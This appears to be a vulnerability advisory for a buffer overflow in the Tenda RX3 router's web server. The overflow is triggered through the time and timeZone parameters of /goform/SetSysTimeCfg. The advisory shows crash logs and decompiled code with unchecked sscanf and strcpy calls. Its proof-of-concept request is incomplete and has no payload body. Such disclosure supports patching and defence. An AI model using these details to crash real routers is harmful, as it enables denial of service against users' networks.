

Vendor of the products: Tenda

Affected products: Tenda RX3 US\_RX3V1.0br\_V16.03.13.11\_multi\_TDE01

Hardware Link: <https://www.tendacn.com/tw/download/detail-3980.html>

## Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda RX3 US\_RX3V1.0br\_V16.03.13.11\_multi\_TDE01, triggered by the time and timeZone parameters at /goform/SetSysTimeCfg . This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

## POC

send

```
1 POST /goform/SetSysTimeCfg HTTP/1.1

func:cfms_mib_proc_handle, line:203 connect cfmd is error.
zsh: segmentation fault sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Similarly, the time parameter can also trigger this vulnerability.

Router crash

```
[httpd][debug]-----webs.c,158
httpd listen ip = 192.168.0.1 port = 80
webs: Listening for HTTP requests at address 192.168.0.1
zsh: segmentation fault sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

## Code in httpd

In the `fromSetSysTime` function, the value of `timeType` is first retrieved. When the `timeType` value is "sync", the `timeZone` value is obtained. Subsequently, when parsing `timeZone`, both `_isoc99_sscanf` and `strcpy` are used to copy data without implementing any safety checks, ultimately leading to a buffer overflow vulnerability.

```

31 unsigned __int8 tmp[256]; // [sp+80h] [bp-350h] BYREF
32 SNTP_CFG_STRU cfg; // [sp+180h] [bp-250h] BYREF
33 _BYTE v34[276]; // [sp+294h] [bp-13Ch] BYREF
34
35 memset(tmp, 0, sizeof(tmp));
36 memset(&cfg, 0, sizeof(cfg));
37 v4 = websGetVar(wp, (char_t *)"timeType", (char_t *)"sync");
38 if ( !strcmp((const char *)v4, "sync") )
39 {
40     v23 = 48;
41     v27 = 48;
42     v24 = 0;
43     v25 = 0;
44     v26 = 0;
45     v28 = 0;
46     v29 = 0;
47     v30 = 0;
48     v20 = 0;
49     v21 = 0;
50     memset(s, 0, sizeof(s));
51     memset(v34, 0, sizeof(v34));
52     v5 = websGetVar(wp, (char_t *)"timeZone", (char_t *)&byte_7A45B);
53     v6 = websGetVar(wp, (char_t *)"timePeriod", (char_t *)&byte_7A45B);
54     v7 = websGetVar(wp, (char_t *)"ntpServer", (char_t *)"time.windows.com");
55     if ( strchr((const char *)v5, 58) )
56     {
57         _isoc99_sscanf(v5, "%[^:]:%s", &v23, &v27);
58     }
59     else
60     {
61         strcpy((char *)&v23, (const char *)v5);
62         strcpy((char *)&v27, "0");
63     }
64     SetValue("sys.timesyn", "1");
65     SetValue("sys.timemode", "auto");
66     SetValue("sys.timezone", &v23);

```

00047F24 fromSetSysTime:64 (57F24)

Additionally, when `timeType` is "manual", the program retrieves the `time` value and uses `_isoc99_sscanf` to copy the data. Similarly, no safety checks are performed, resulting in a buffer overflow vulnerability.

```

88 if ( strcmp((const char *)v4, "manual") )
89 {
90 LABEL_17:
91     v11 = 0;
92     goto LABEL_18;
93 }
94 memset(s, 0, sizeof(s));
95 v14[0] = 0;
96 v14[1] = 0;
97 v15 = 0;
98 v16[0] = 0;
99 v16[1] = 0;
100 v17 = 0;
101 v18[0] = 0;
102 v18[1] = 0;
103 v19 = 0;
104 v20 = 0;
105 v21 = 0;
106 v22 = 0;
107 v23 = 0;
108 v24 = 0;
109 LOWORD(v25) = 0;
110 v27 = 0;
111 v28 = 0;
112 LOWORD(v29) = 0;
113 v9 = websGetVar(wp, (char_t *)"time", (char_t *)&byte_7A45B);
114 _isoc99_sscanf(v9, "%[^-]-%[^-]-%[^ ] %[^:]:%[^:]:%s", v14, v16, v18, &v20, &v23, &v27);
115 *(_DWORD *)&v34[20] = atoi((const char *)v14) - 1900;
116 *(_DWORD *)&v34[16] = atoi((const char *)v16) - 1;
117 *(_DWORD *)&v34[12] = atoi((const char *)v18);
118 *(_DWORD *)&v34[8] = atoi((const char *)&v20);
119 *(_DWORD *)&v34[4] = atoi((const char *)&v23);
120 *(_DWORD *)&v34 = atoi((const char *)&v27);

```
